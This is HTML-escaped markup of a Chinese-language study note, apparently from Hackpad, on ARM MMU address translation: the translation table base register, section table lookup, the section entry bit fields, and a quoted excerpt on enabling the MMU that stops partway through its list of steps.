&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid23&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;Coarse page table是第二級頁表。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid24&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;Translation table base(TTB) register&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid25&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter toc-entry&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid26&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; font-size: 20px; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;尋址過程:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid27&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 attrimg img&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; display: block; margin: 0px; max-width: 100%; padding: 0px; position: relative; text-align: center;&quot;&gt;&lt;img class=&quot;inline-img&quot; faketext=&quot;*&quot; src=&quot;https://dchtm6r471mui.cloudfront.net/hackpad.com_Jl8YoJ3iUdf_p.263538_1415955994397_mmu2.jpg&quot; style=&quot;cursor: -webkit-zoom-in; margin: 0px; max-height: 773px; max-width: 100%; padding: 0px;&quot; /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid28&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&amp;nbsp; MVA跟register中的translation table base算出translation table(section table entry)，再找到實際對應的位址&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid29&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;從這圖可以看出來section table找法=TTB&amp;amp;0xffffc000 | ((viraddr &amp;gt;&amp;gt; 20) &amp;lt;&amp;lt; 2 )&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid30&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;取TTB的前15bits合併MVA的前12bits&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid31&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter toc-entry&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid32&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; font-size: 20px; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;Section格式&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid33&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 attrimg img&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; display: block; margin: 0px; max-width: 100%; padding: 0px; position: relative; text-align: center;&quot;&gt;&lt;img class=&quot;inline-img&quot; faketext=&quot;*&quot; src=&quot;https://dchtm6r471mui.cloudfront.net/hackpad.com_Jl8YoJ3iUdf_p.263538_1415956120957_mmu4.jpg&quot; style=&quot;cursor: -webkit-zoom-in; margin: 0px; max-height: 773px; max-width: 100%; padding: 0px;&quot; /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter toc-entry&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid34&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; font-size: 20px; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;Section entry&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-indent emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid35&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-indent listindent2 list-indent2&quot; style=&quot;list-style: none; margin: 0px 0px 0px 3em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538 b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;31:20&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;bits，共 12bits表示實體位址的前12位，剩的20bits也是2^20=1MB，每個section可以定址1MB的實體空間。&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-indent emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid36&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-indent listindent2 list-indent2&quot; style=&quot;list-style: none; margin: 0px 0px 0px 3em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538 autolink b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;autolink style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;1&lt;/b&gt;&lt;/autolink&gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538 b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;9:12&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;bits，必需是0&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-indent emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid37&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-indent listindent2 list-indent2&quot; style=&quot;list-style: none; margin: 0px 0px 0px 3em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538 autolink b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;autolink style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;1&lt;/b&gt;&lt;/autolink&gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538 b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;1:10&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;bits，是AP(Access permission)，控制權限。&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-indent emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid38&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-indent listindent2 list-indent2&quot; style=&quot;list-style: none; margin: 0px 0px 0px 3em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538 b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;9&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;必需是0&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-indent emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid39&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-indent listindent2 list-indent2&quot; style=&quot;list-style: none; margin: 0px 0px 0px 3em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538 autolink b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;autolink style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;8&lt;/b&gt;&lt;/autolink&gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538 b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;:5&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;bits，Domain control bit, ARM定義了16個domain。&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-indent emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid40&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-indent listindent2 list-indent2&quot; style=&quot;list-style: none; margin: 0px 0px 0px 3em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538 b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;4&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;必需是1&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-indent emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid41&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-indent listindent2 list-indent2&quot; style=&quot;list-style: none; margin: 0px 0px 0px 3em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538 b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;3:2&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;跟cache、write buffer有關&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-indent emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid42&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-indent listindent2 list-indent2&quot; style=&quot;list-style: none; margin: 0px 0px 0px 3em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538 b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;1:0&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;定義了page size。 以section來說這兩個bits的值是0x10。&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid43&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid44&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;ARM官方的文件，要啟動MMU需要做的事。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid45&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;6.4.1 Enabling the MMU&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid46&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;To enable the MMU in one world you must:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid47&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;1. Program all relevant CP15 registers of the corresponding world.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid48&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
